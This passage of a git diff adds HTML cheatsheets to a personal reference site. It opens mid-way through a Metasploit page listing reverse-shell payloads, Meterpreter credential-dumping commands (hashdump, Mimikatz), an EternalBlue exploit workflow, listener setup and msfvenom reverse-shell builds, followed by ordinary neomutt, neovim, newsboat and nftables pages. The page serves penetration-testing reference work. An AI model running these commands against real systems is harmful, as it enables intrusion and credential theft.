  • linux/x64/meterpreter/reverse_tcp
  • +
  • linux/x86/shell/reverse_tcp
  • +
+

Multi-platform

+
    +
  • multi/handler - Catch incoming connections
  • +
  • generic/shell_reverse_tcp
  • +
+
+

Session Management

+
    +
  • sessions - List active sessions
  • +
+
    +
  • sessions -i <id> - Interact with session
  • +
+
    +
  • sessions -k <id> - Kill session
  • +
+
    +
  • sessions -K - Kill all sessions
  • +
+
    +
  • sessions -u <id> - Upgrade to meterpreter
  • +
+
    +
  • background / bg - Background session
  • +
+
+

Meterpreter Commands

+

Core

+
    +
  • help - Show commands
  • +
  • background - Background session
  • +
  • exit - Terminate session
  • +
  • sysinfo - System information
  • +
  • getuid - Current user
  • +
  • getpid - Process ID
  • +
+

File System

+
    +
  • pwd - Print working directory
  • +
  • cd - Change directory
  • +
  • ls - List files
  • +
  • cat - Display file
  • +
  • download file - Download file
  • +
  • upload file - Upload file
  • +
  • rm file - Remove file
  • +
  • mkdir dir - Create directory
  • +
  • search -f pattern - Search files
  • +
+

Process

+
    +
  • ps - List processes
  • +
  • migrate <pid> - Migrate to process
  • +
  • kill <pid> - Kill process
  • +
  • execute -f cmd - Execute command
  • +
+

Network

+
    +
  • ipconfig / ifconfig - Network info
  • +
  • netstat - Network connections
  • +
  • portfwd - Port forwarding
  • +
  • route - Routing table
  • +
+

Privilege Escalation

+
    +
  • getsystem - Attempt SYSTEM
  • +
  • hashdump - Dump password hashes
  • +
  • load kiwi - Load Mimikatz
  • +
  • creds_all - All credentials (kiwi)
  • +
+
+

Database Commands

+
    +
  • db_status - Database status
  • +
+
    +
  • workspace - Manage workspaces
  • +
+
    +
  • hosts - List hosts in DB
  • +
+
    +
  • services - List services
  • +
+
    +
  • vulns - List vulnerabilities
  • +
+
    +
  • creds - List credentials
  • +
+
    +
  • loot - List loot
  • +
+
    +
  • db_nmap - Run nmap, save to DB
  • +
+
    +
  • db_import file - Import scan results
  • +
+
+

Common Workflows

+

Exploit Workflow

+
search eternalblue
+use exploit/windows/smb/ms17_010_eternalblue
+show options
+set RHOSTS 192.168.1.100
+set PAYLOAD windows/x64/meterpreter/reverse_tcp
+set LHOST 192.168.1.50
+exploit
+

Handler Setup

+
use exploit/multi/handler
+set PAYLOAD windows/meterpreter/reverse_tcp
+set LHOST 0.0.0.0
+set LPORT 4444
+exploit -j
+

Port Scan

+
use auxiliary/scanner/portscan/tcp
+set RHOSTS 192.168.1.0/24
+set PORTS 22,80,443,445
+run
+

SMB Enumeration

+
use auxiliary/scanner/smb/smb_version
+set RHOSTS 192.168.1.0/24
+run
+
+

Payload Generation (msfvenom)

+
# Windows reverse shell
+msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
+
+# Linux reverse shell
+msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf
+
+# PHP reverse shell
+msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.php
+
+# Python reverse shell
+msfvenom -p python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw
+
+# List formats
+msfvenom --list formats
+
+

Resource Scripts

+

Create .rc files to automate tasks:

+
# handler.rc
+use exploit/multi/handler
+set PAYLOAD windows/meterpreter/reverse_tcp
+set LHOST 0.0.0.0
+set LPORT 4444
+set ExitOnSession false
+exploit -j
+

Run with: msfconsole -r handler.rc

+
+

Tips

+
    +
  • Always run db_status to ensure database is connected
  • +
+
    +
  • Use workspaces to organize different engagements
  • +
+
    +
  • Use -j with exploit to run as job (background)
  • +
+
    +
  • Check if target is vulnerable before exploiting
  • +
+
    +
  • Use staged payloads for smaller initial size
  • +
+
    +
  • Use HTTPS payloads to bypass firewalls
  • +
+
    +
  • Update regularly: msfupdate
  • +
+
    +
  • Only use with proper authorization
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/neomutt.html b/cheatsheets/neomutt.html new file mode 100644 index 0000000..e023cd7 --- /dev/null +++ b/cheatsheets/neomutt.html @@ -0,0 +1,662 @@ + + + + + + + + + + + Neomutt Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

Neomutt Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Basic Navigation

+

Index View (Mailbox List)

+
    +
  • j or ↓ - Next message
  • +
+
    +
  • k or ↑ - Previous message
  • +
+
    +
  • Enter - Open message
  • +
+
    +
  • q - Quit
  • +
+
    +
  • Q - Quit and save
  • +
+
    +
  • ? - Help
  • +
+
    +
  • : - Command prompt
  • +
+

Message View

+
    +
  • j or ↓ - Next line
  • +
+
    +
  • k or ↑ - Previous line
  • +
+
    +
  • Space - Next page
  • +
+
    +
  • - - Previous page
  • +
+
    +
  • q - Return to index
  • +
+
    +
  • Enter - Return to index
  • +
+
    +
  • i - Return to index
  • +
+
+

Message Operations

+

Reading Messages

+
    +
  • Enter - View message
  • +
+
    +
  • o - Sort messages
  • +
+
    +
  • O - Reverse sort
  • +
+
    +
  • s - Save message to mailbox
  • +
+
    +
  • S - Save message (with prompt)
  • +
+
    +
  • c - Copy message to mailbox
  • +
+
    +
  • C - Copy message (with prompt)
  • +
+
    +
  • $ - Save message to file
  • +
+
    +
  • | - Pipe message to command
  • +
+
    +
  • e - Edit message
  • +
+
    +
  • v - View attachment
  • +
+
    +
  • V - View attachment (with prompt)
  • +
+

Marking Messages

+
    +
  • d - Delete message
  • +
+
    +
  • u - Undelete message
  • +
+
    +
  • D - Delete tagged messages
  • +
+
    +
  • U - Undelete all messages
  • +
+
    +
  • * - Tag message
  • +
+
    +
  • t - Tag message (alternative)
  • +
+
    +
  • T - Tag pattern
  • +
+
    +
  • ~ - Invert tags
  • +
+
    +
  • ; - Tag prefix
  • +
+
    +
  • ^T - Tag thread
  • +
+
    +
  • ^U - Untag thread
  • +
+
    +
  • ^N - Tag new messages
  • +
+
    +
  • ^O - Tag old messages
  • +
+
    +
  • ^A - Tag all messages
  • +
+
    +
  • ^D - Tag deleted messages
  • +
+
    +
  • ^F - Tag flagged messages
  • +
+
    +
  • ^L - Tag messages matching pattern
  • +
+
    +
  • ^R - Tag read messages
  • +
+
    +
  • ^S - Tag subscribed messages
  • +
+
    +
  • ^T - Tag thread
  • +
+
    +
  • ^U - Tag unread messages
  • +
+

Message Flags

+
    +
  • F - Flag message
  • +
+
    +
  • W - Toggle word wrap
  • +
+
    +
  • P - Print message
  • +
+
    +
  • @ - Toggle subscribed flag
  • +
+
    +
  • ! - Toggle important flag
  • +
+
+

Composing Messages

+

Starting Composition

+
    +
  • m - Compose new message
  • +
+
    +
  • r - Reply to sender
  • +
+
    +
  • R - Reply to all
  • +
+
    +
  • g - Group reply
  • +
+
    +
  • G - Group reply to all
  • +
+
    +
  • f - Forward message
  • +
+
    +
  • b - Bounce message
  • +
+
    +
  • Esc e - Edit message
  • +
+

Composition Mode

+
    +
  • y - Send message
  • +
+
    +
  • a - Attach file
  • +
+
    +
  • A - Attach file (with prompt)
  • +
+
    +
  • r - Edit recipients
  • +
+
    +
  • s - Edit subject
  • +
+
    +
  • c - Edit CC
  • +
+
    +
  • b - Edit BCC
  • +
+
    +
  • Esc k - Edit message
  • +
+
    +
  • Esc t - Edit To field
  • +
+
    +
  • Esc s - Edit Subject field
  • +
+
    +
  • Esc c - Edit CC field
  • +
+
    +
  • Esc b - Edit BCC field
  • +
+
    +
  • Esc a - Attach file
  • +
+
    +
  • Esc d - Detach file
  • +
+
    +
  • Esc i - Include message
  • +
+
    +
  • Esc p - PGP menu
  • +
+
    +
  • Esc e - Edit message
  • +
+
    +
  • Esc v - View message
  • +
+
    +
  • Esc h - Edit headers
  • +
+
    +
  • Esc l - Edit list of headers
  • +
+
    +
  • Esc q - Abort composition
  • +
+
    +
  • Esc y - Send message
  • +
+
+

Mailbox Operations

+

Opening Mailboxes

+
    +
  • c - Change mailbox
  • +
+
    +
  • o - Open mailbox
  • +
+
    +
  • y - Synchronize mailbox
  • +
+
    +
  • $ - Save to mailbox
  • +
+
    +
  • s - Save to mailbox (with prompt)
  • +
+

Mailbox List

+
    +
  • c - Change mailbox
  • +
+
    +
  • o - Open mailbox
  • +
+
    +
  • C - Copy mailbox
  • +
+
    +
  • d - Delete mailbox
  • +
+
    +
  • r - Rename mailbox
  • +
+
    +
  • s - Subscribe/Unsubscribe
  • +
+
    +
  • u - Unsubscribe
  • +
+
    +
  • ^N - Create mailbox
  • +
+
    +
  • ^D - Delete mailbox
  • +
+
    +
  • ^R - Rename mailbox
  • +
+
+

Search and Filter

+

Search

+
    +
  • / - Search forward
  • +
+
    +
  • ? - Search backward
  • +
+
    +
  • n - Next match
  • +
+
    +
  • N - Previous match
  • +
+
    +
  • \ - Clear search
  • +
+
    +
  • Esc l - Limit to pattern
  • +
+
    +
  • Esc L - Show limit
  • +
+
    +
  • Esc u - Remove limit
  • +
+
    +
  • Esc t - Toggle limit
  • +
+
    +
  • ^K - Search for pattern
  • +
+
    +
  • ^W - Clear pattern
  • +
+

Patterns

+
    +
  • ~A - All messages
  • +
+
    +
  • ~b - Search in body
  • +
+
    +
  • ~B - Search in entire message
  • +
+
    +
  • ~c - Search in CC
  • +
+
    +
  • ~C - Search in entire message
  • +
+
    +
  • ~d - Search in date
  • +
+
    +
  • ~e - Search in sender
  • +
+
    +
  • ~f - Search in from
  • +
+
    +
  • ~g - Search in message flags
  • +
+
    +
  • ~h - Search in header
  • +
+
    +
  • ~l - Search in label
  • +
+
    +
  • ~m - Search in message number
  • +
+
    +
  • ~n - Search in score
  • +
+
    +
  • ~r - Search in date range
  • +
+
    +
  • ~s - Search in subject
  • +
+
    +
  • ~t - Search in To
  • +
+
    +
  • ~u - Search in user
  • +
+
    +
  • ~v - Search in variable
  • +
+
    +
  • ~x - Search in references
  • +
+
    +
  • ~y - Search in X-Label
  • +
+
    +
  • ~z - Search in size
  • +
+
    +
  • ~= - Search in pattern
  • +
+
    +
  • ~! - Negate pattern
  • +
+
    +
  • ~| - OR pattern
  • +
+
    +
  • ~& - AND pattern
  • +
+
+

Threading

+
    +
  • ^T - Toggle thread display
  • +
+
    +
  • ^U - Toggle thread display (alternative)
  • +
+
    +
  • Esc u - Unthread
  • +
+
    +
  • Esc t - Thread
  • +
+
    +
  • ^N - Collapse thread
  • +
+
    +
  • ^E - Expand thread
  • +
+
    +
  • ^O - Collapse all threads
  • +
+
    +
  • ^P - Expand all threads
  • +
+
+

PGP Operations

+
    +
  • Esc p - PGP menu
  • +
+
    +
  • ^K - Check for PGP keys
  • +
+
    +
  • ^E - Encrypt message
  • +
+
    +
  • ^S - Sign message
  • +
+
    +
  • ^V - Verify signature
  • +
+
    +
  • ^D - Decrypt message
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.config/neomutt/neomuttrc - Main config
  • +
+
    +
  • ~/.config/neomutt/muttrc - Alternative config
  • +
+
    +
  • ~/.muttrc - Legacy config location
  • +
+

Example Key Bindings

+

Customize key bindings in your config:

+
# Custom navigation bindings
+bind index <down> next-entry
+bind index <up> previous-entry
+bind pager <down> next-line
+bind pager <up> previous-line
+bind pager <space> next-page
+bind pager - previous-page
+
+# Custom message operations
+bind index d delete-message
+bind index u undelete-message
+bind index * tag-message
+bind index t tag-message
+

Common Settings

+
# Accounts
+set from = "user@example.com"
+set realname = "Your Name"
+set imap_user = "user@example.com"
+set imap_pass = "password"
+
+# IMAP
+set folder = "imaps://imap.example.com:993"
+set spoolfile = "+INBOX"
+set postponed = "+Drafts"
+set record = "+Sent"
+
+# Mailboxes
+mailboxes = +INBOX
+set mbox_type = Maildir
+
+# Display
+set sort = date
+set sort_aux = date
+set sort_re = date
+set pager_index_lines = 10
+set pager_context = 3
+set pager_stop = yes
+
+# Composition
+set editor = "nvim"
+set sendmail = "/usr/bin/msmtp"
+set sendmail_wait = 0
+set copy = yes
+set include = yes
+set forward_format = "Fwd: %s"
+
+# Headers
+ignore *
+unignore from date subject to cc
+hdr_order from to cc date subject
+
+# Colors
+color normal white black
+color hdrdefault brightgreen black
+color quoted green black
+color signature brightgreen black
+color indicator brightyellow red
+color tree brightmagenta black
+color status brightyellow black
+color tilde brightcyan black
+color attachment brightyellow black
+color markers brightred black
+color search brightwhite black
+color error red black
+color message brightcyan black
+color prompt brightyellow black
+color index brightcyan black ~N
+color index brightgreen black ~F
+color index brightred black ~D
+
+# Key Bindings
+bind index <down> next-entry
+bind index <up> previous-entry
+bind pager <down> next-line
+bind pager <up> previous-line
+bind pager <space> next-page
+bind pager - previous-page
+
+

Tips

+
    +
  • Use :set to see all settings
  • +
+
    +
  • Use :unset to unset a setting
  • +
+
    +
  • Use :source to reload config
  • +
+
    +
  • Use :exec to execute command
  • +
+
    +
  • Use :push to push command
  • +
+
    +
  • Use :shell to execute shell command
  • +
+
    +
  • Use :mailbox to change mailbox
  • +
+
    +
  • Use :quit to quit
  • +
+
    +
  • Use :save to save message
  • +
+
    +
  • Use :delete to delete message
  • +
+
    +
  • Use :undelete to undelete message
  • +
+
    +
  • Use :tag to tag message
  • +
+
    +
  • Use :untag to untag message
  • +
+
    +
  • Use :limit to limit messages
  • +
+
    +
  • Use :unlimit to remove limit
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/neovim.html b/cheatsheets/neovim.html new file mode 100644 index 0000000..d5a29b1 --- /dev/null +++ b/cheatsheets/neovim.html @@ -0,0 +1,268 @@ + + + + + + + + + + + Neovim Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

Neovim Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Modes

+
    +
  • i - Insert mode
  • +
+
    +
  • v - Visual mode (character)
  • +
+
    +
  • V - Visual mode (line)
  • +
+
    +
  • Ctrl+v - Visual mode (block)
  • +
+
    +
  • R - Replace mode
  • +
+
    +
  • : - Command mode
  • +
+
    +
  • Esc - Normal mode (from any mode)
  • +
+
+

Basic Movement

+

Character Movement

+
    +
  • h - Left
  • +
+
    +
  • j - Down
  • +
+
    +
  • k - Up
  • +
+
    +
  • l - Right
  • +
+
    +
  • 0 - Start of line
  • +
+
    +
  • ^ - First non-blank character of line
  • +
+
    +
  • $ - End of line
  • +
+
    +
  • g_ - Last non-blank character of line
  • +
+

Word Movement

+
    +
  • w - Next word start
  • +
+
    +
  • W - Next WORD start (space-separated)
  • +
+
    +
  • e - End of word
  • +
+
    +
  • E - End of WORD
  • +
+
    +
  • b - Previous word start
  • +
+
    +
  • B - Previous WORD start
  • +
+
    +
  • ge - End of previous word
  • +
+

Line Movement

+
    +
  • gg - First line
  • +
+
    +
  • G - Last line
  • +
+
    +
  • {number}G - Go to line number
  • +
+
    +
  • : - Go to line (command mode)
  • +
+
    +
  • % - Matching bracket/parenthesis
  • +
+
    +
  • * - Next occurrence of word under cursor
  • +
+
    +
  • # - Previous occurrence of word under cursor
  • +
+

Screen Movement

+
    +
  • H - Top of screen
  • +
+
    +
  • M - Middle of screen
  • +
+
    +
  • L - Bottom of screen
  • +
+
    +
  • Ctrl+u - Half page up
  • +
+
    +
  • Ctrl+d - Half page down
  • +
+
    +
  • Ctrl+b - Full page up
  • +
+
    +
  • Ctrl+f - Full page down
  • +
+
    +
  • zz - Center cursor on screen
  • +
+
    +
  • zt - Top of screen
  • +
+
    +
  • zb - Bottom of screen
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.config/nvim/init.lua (Lua config, recommended)
  • +
+
    +
  • ~/.config/nvim/init.vim (Vimscript config)
  • +
+
    +
  • ~/.vimrc (legacy location, still works)
  • +
+

Example Key Bindings

+

Customize key mappings in your config:

+
-- Example Lua config
+vim.keymap.set('n', '<leader>w', ':w<CR>', { desc = 'Save file' })
+vim.keymap.set('n', '<leader>q', ':q<CR>', { desc = 'Quit' })
+vim.keymap.set('n', '<C-h>', '<C-w>h', { desc = 'Move to left window' })
+vim.keymap.set('n', '<C-j>', '<C-w>j', { desc = 'Move to bottom window' })
+vim.keymap.set('n', '<C-k>', '<C-w>k', { desc = 'Move to top window' })
+vim.keymap.set('n', '<C-l>', '<C-w>l', { desc = 'Move to right window' })
+

Or in Vimscript:

+
" Example Vimscript config
+nnoremap <leader>w :w<CR>
+nnoremap <leader>q :q<CR>
+nnoremap <C-h> <C-w>h
+nnoremap <C-j> <C-w>j
+nnoremap <C-k> <C-w>k
+nnoremap <C-l> <C-w>l
+
+

Tips

+
    +
  • Use :help <topic> for built-in help
  • +
+
    +
  • Use :checkhealth to diagnose issues
  • +
+
    +
  • Leader key is space by default (can be changed)
  • +
+
    +
  • Use motions with operators (d, c, y) for powerful editing
  • +
+
    +
  • Use . to repeat last change
  • +
+
    +
  • Use u to undo, Ctrl+r to redo
  • +
+
    +
  • Use :w to save, :q to quit, :wq to save and quit
  • +
+
    +
  • Use :split or :vsplit for multiple windows
  • +
+
    +
  • Use :tabnew for tabs
  • +
+
    +
  • Use * and # to search for word under cursor
  • +
+
    +
  • Use /pattern to search forward, ?pattern to search backward
  • +
+
    +
  • Use n and N to navigate search results
  • +
+
    +
  • Use % to jump to matching bracket/parenthesis
  • +
+
    +
  • Use gg to go to top, G to go to bottom
  • +
+
    +
  • Use :set number to show line numbers
  • +
+
    +
  • Use :set relativenumber for relative line numbers
  • +
+
    +
  • Lua config (init.lua) is recommended over Vimscript
  • +
+
    +
  • Use plugins via plugin managers (lazy.nvim, packer.nvim, etc.)
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/newsboat.html b/cheatsheets/newsboat.html new file mode 100644 index 0000000..e0b85ed --- /dev/null +++ b/cheatsheets/newsboat.html @@ -0,0 +1,237 @@ + + + + + + + + + + + newsboat Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

newsboat Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

newsboat is a text-based RSS/Atom feed reader for the terminal.

+
+

Feed List View

+
    +
  • j or ↓ - Move down
  • +
+
    +
  • k or ↑ - Move up
  • +
+
    +
  • Enter - Open selected feed
  • +
+
    +
  • r - Reload selected feed
  • +
+
    +
  • R - Reload all feeds
  • +
+
    +
  • ^R (Ctrl+R) - Reload all feeds
  • +
+
    +
  • / - Search feeds
  • +
+
    +
  • q - Quit or go back
  • +
+
    +
  • ? - Show help
  • +
+
+

Article List View

+
    +
  • j or ↓ - Move down
  • +
+
    +
  • k or ↑ - Move up
  • +
+
    +
  • Enter - Open selected article
  • +
+
    +
  • o - Open article in browser
  • +
+
    +
  • O - Open article in browser and mark as read
  • +
+
    +
  • u - Show URLs in article
  • +
+
    +
  • 1-0 - Open URL number 1-10 directly
  • +
+
    +
  • s - Toggle read/unread status
  • +
+
    +
  • t - Toggle headline display mode
  • +
+
    +
  • g - Go to top of list
  • +
+
    +
  • G - Go to bottom of list
  • +
+
    +
  • / - Search articles
  • +
+
    +
  • : - Command prompt
  • +
+
    +
  • q - Quit or go back
  • +
+
+

Article View

+
    +
  • j or ↓ - Scroll down
  • +
+
    +
  • k or ↑ - Scroll up
  • +
+
    +
  • o - Open article in browser
  • +
+
    +
  • O - Open article in browser and mark as read
  • +
+
    +
  • u - Show URLs in article
  • +
+
    +
  • 1-0 - Open URL number 1-10 directly
  • +
+
    +
  • s - Toggle read/unread status
  • +
+
    +
  • n - Next unread article
  • +
+
    +
  • p - Previous unread article
  • +
+
    +
  • / - Search in article
  • +
+
    +
  • q - Quit or go back
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.config/newsboat/config (user config, XDG)
  • +
+
    +
  • ~/.newsboat/config (legacy location)
  • +
+
    +
  • ~/.config/newsboat/urls (feed list)
  • +
+
    +
  • ~/.newsboat/urls (legacy feed list)
  • +
+

Example Key Bindings

+

Customize key bindings in config:

+
# Reload feeds
+bind-key R reload-all
+bind-key ^R reload-all
+
+# Navigation
+bind-key j down
+bind-key k up
+bind-key o open
+
+# Article operations
+bind-key O open-in-browser-and-mark-read
+bind-key s toggle-article-read
+
+# Browser command
+browser "firefox %u"
+

Common Settings

+
# Display options
+show-read-feeds no
+show-read-articles no
+articlelist-format "%4i %f %D %-20T %>S %u"
+
+# Behavior
+auto-reload yes
+reload-time 60
+max-items 100
+
+# External commands
+browser "firefox %u"
+pager "less"
+
+

Tips

+
    +
  • Use XDG directories: config and urls in ~/.config/newsboat/
  • +
+
    +
  • Data files (cache.db, history.search) stored in ~/.local/share/newsboat/
  • +
+
    +
  • Supports OPML import/export for feed management
  • +
+
    +
  • Use macros for complex operations
  • +
+
    +
  • Per-dialog key bindings supported
  • +
+
    +
  • Comments in config start with #
  • +
+
    +
  • Use bind or bind-key commands (both work)
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/nftables.html b/cheatsheets/nftables.html new file mode 100644 index 0000000..4ede504 --- /dev/null +++ b/cheatsheets/nftables.html @@ -0,0 +1,406 @@ + + + + + + + + + + + nftables Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

nftables Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

nftables is the modern Linux firewall framework, replacing iptables. It provides a unified interface for IPv4, IPv6, ARP, and bridge filtering with improved performance and syntax.

+
+

Basic Commands

+
    +
  • nft list ruleset - List all rules
  • +
+
    +
  • nft list tables - List all tables
  • +
+
    +
  • nft list table <family> <name> - List specific table
  • +
+
    +
  • nft list chain <family> <table> <chain> - List specific chain
  • +
+
    +
  • nft flush ruleset - Clear all rules
  • +
+
    +
  • nft flush table <family> <name> - Clear specific table
  • +
+
    +
  • nft -s list ruleset - List with handle numbers
  • +
+
    +
  • nft monitor - Watch for rule changes in real-time
  • +
+
+

Address Families

+
    +
  • ip - IPv4 (default)
  • +
+
    +
  • ip6 - IPv6
  • +
+
    +
  • inet - IPv4 and IPv6 combined
  • +
+
    +
  • arp - ARP
  • +
+
    +
  • bridge - Bridge filtering
  • +
+
    +
  • netdev - Ingress filtering
  • +
+
+

Tables

+

Create Table

+
nft add table inet filter
+nft add table ip nat
+

Delete Table

+
nft delete table inet filter
+
+

Chains

+

Chain Types

+
    +
  • filter - Packet filtering
  • +
+
    +
  • route - Rerouting packets
  • +
+
    +
  • nat - Network address translation
  • +
+

Chain Hooks

+
    +
  • prerouting - Before routing decision
  • +
+
    +
  • input - Incoming packets to local
  • +
+
    +
  • forward - Forwarded packets
  • +
+
    +
  • output - Outgoing packets from local
  • +
+
    +
  • postrouting - After routing decision
  • +
+
    +
  • ingress - Earliest hook (netdev only)
  • +
+

Create Chain

+
nft add chain inet filter input { type filter hook input priority 0 \; policy drop \; }
+nft add chain inet filter output { type filter hook output priority 0 \; policy accept \; }
+nft add chain inet filter forward { type filter hook forward priority 0 \; policy drop \; }
+

Delete Chain

+
nft delete chain inet filter input
+
+

Adding Rules

+
    +
  • nft add rule <family> <table> <chain> <rule> - Append rule
  • +
+
    +
  • nft insert rule <family> <table> <chain> <rule> - Insert at beginning
  • +
+
    +
  • nft add rule <family> <table> <chain> position <handle> <rule> - Add after handle
  • +
+
    +
  • nft delete rule <family> <table> <chain> handle <handle> - Delete by handle
  • +
+
+

Rule Matching

+

Interface Matching

+
    +
  • iifname "eth0" - Input interface name
  • +
+
    +
  • oifname "eth0" - Output interface name
  • +
+
    +
  • iif eth0 - Input interface (faster, index-based)
  • +
+
    +
  • oif eth0 - Output interface (faster, index-based)
  • +
+

Address Matching

+
    +
  • ip saddr 192.168.1.0/24 - Source IPv4 address
  • +
+
    +
  • ip daddr 10.0.0.1 - Destination IPv4 address
  • +
+
    +
  • ip6 saddr fe80::/10 - Source IPv6 address
  • +
+
    +
  • ip6 daddr ::1 - Destination IPv6 address
  • +
+

Protocol Matching

+
    +
  • ip protocol tcp - TCP protocol
  • +
+
    +
  • ip protocol udp - UDP protocol
  • +
+
    +
  • ip protocol icmp - ICMP protocol
  • +
+
    +
  • meta l4proto tcp - Layer 4 protocol (works with inet)
  • +
+

Port Matching

+
    +
  • tcp sport 22 - TCP source port
  • +
+
    +
  • tcp dport 80 - TCP destination port
  • +
+
    +
  • udp dport 53 - UDP destination port
  • +
+
    +
  • tcp dport { 22, 80, 443 } - Multiple ports
  • +
+
    +
  • tcp dport 1024-65535 - Port range
  • +
+
+

Verdicts (Actions)

+
    +
  • accept - Accept the packet
  • +
+
    +
  • drop - Drop silently
  • +
+
    +
  • reject - Reject with error
  • +
+
    +
  • queue - Send to userspace
  • +
+
    +
  • continue - Continue rule processing
  • +
+
    +
  • return - Return to calling chain
  • +
+
    +
  • jump <chain> - Jump to another chain
  • +
+
    +
  • goto <chain> - Go to chain without returning
  • +
+
+

Connection Tracking

+
    +
  • ct state new - New connections
  • +
+
    +
  • ct state established - Established connections
  • +
+
    +
  • ct state related - Related connections
  • +
+
    +
  • ct state invalid - Invalid packets
  • +
+
    +
  • ct state { established, related } - Multiple states
  • +
+
+

Common Examples

+

Allow SSH

+
nft add rule inet filter input tcp dport 22 accept
+

Allow Established Connections

+
nft add rule inet filter input ct state established,related accept
+

Block IP Address

+
nft add rule inet filter input ip saddr 192.168.1.100 drop
+

Allow HTTP/HTTPS

+
nft add rule inet filter input tcp dport { 80, 443 } accept
+

Allow Loopback

+
nft add rule inet filter input iifname "lo" accept
+

Log and Drop

+
nft add rule inet filter input log prefix "nftables-dropped: " drop
+
+

NAT Configuration

+

Masquerading (SNAT)

+
nft add table ip nat
+nft add chain ip nat postrouting { type nat hook postrouting priority 100 \; }
+nft add rule ip nat postrouting oifname "eth0" masquerade
+

Port Forwarding (DNAT)

+
nft add chain ip nat prerouting { type nat hook prerouting priority -100 \; }
+nft add rule ip nat prerouting iifname "eth0" tcp dport 8080 dnat to 192.168.1.10:80
+
+

Complete Firewall Example

+
#!/usr/sbin/nft -f
+
+flush ruleset
+
+table inet filter {
+    chain input {
+        type filter hook input priority 0; policy drop;
+        
+        # Allow loopback
+        iifname "lo" accept
+        
+        # Allow established/related
+        ct state established,related accept
+        
+        # Drop invalid
+        ct state invalid drop
+        
+        # Allow ICMP
+        ip protocol icmp accept
+        ip6 nexthdr icmpv6 accept
+        
+        # Allow SSH
+        tcp dport 22 accept
+        
+        # Allow HTTP/HTTPS
+        tcp dport { 80, 443 } accept
+    }
+    
+    chain forward {
+        type filter hook forward priority 0; policy drop;
+    }
+    
+    chain output {
+        type filter hook output priority 0; policy accept;
+    }
+}
+
+

Sets and Maps

+

Named Set

+
nft add set inet filter allowed_ips { type ipv4_addr \; }
+nft add element inet filter allowed_ips { 192.168.1.1, 192.168.1.2 }
+nft add rule inet filter input ip saddr @allowed_ips accept
+

Anonymous Set

+
nft add rule inet filter input ip saddr { 192.168.1.1, 192.168.1.2 } accept
+

Port Set

+
nft add set inet filter allowed_ports { type inet_service \; }
+nft add element inet filter allowed_ports { 22, 80, 443 }
+nft add rule inet filter input tcp dport @allowed_ports accept
+
+

Rate Limiting

+
# Limit to 10 packets per second
+nft add rule inet filter input tcp dport 22 limit rate 10/second accept
+
+# Limit with burst
+nft add rule inet filter input tcp dport 22 limit rate over 10/second burst 5 packets drop
+
+

Saving and Loading

+
    +
  • nft list ruleset > /etc/nftables.conf - Save rules
  • +
+
    +
  • nft -f /etc/nftables.conf - Load rules from file
  • +
+
    +
  • systemctl enable nftables - Enable at boot
  • +
+
    +
  • systemctl start nftables - Start nftables service
  • +
+
+

Migration from iptables

+
    +
  • iptables-translate - Convert iptables rule to nft syntax
  • +
+
    +
  • iptables-restore-translate - Convert iptables-save output to nft
  • +
+
    +
  • iptables-nft - iptables compatibility layer using nftables backend
  • +
+
# Translate a single rule
+iptables-translate -A INPUT -p tcp --dport 22 -j ACCEPT
+
+# Translate saved rules
+iptables-save | iptables-restore-translate
+
+

Tips

+
    +
  • Use inet family for combined IPv4/IPv6 rules
  • +
+
    +
  • Use sets for multiple addresses or ports (more efficient)
  • +
+
    +
  • Use iifname/oifname for dynamic interfaces, iif/oif for static
  • +
+
    +
  • Chain priority determines order (lower = earlier)
  • +
+
    +
  • Use handles (-a flag) to identify rules for deletion
  • +
+
    +
  • nft monitor is useful for debugging rule changes
  • +
+
    +
  • Put rules in /etc/nftables.conf for persistence
  • +
+
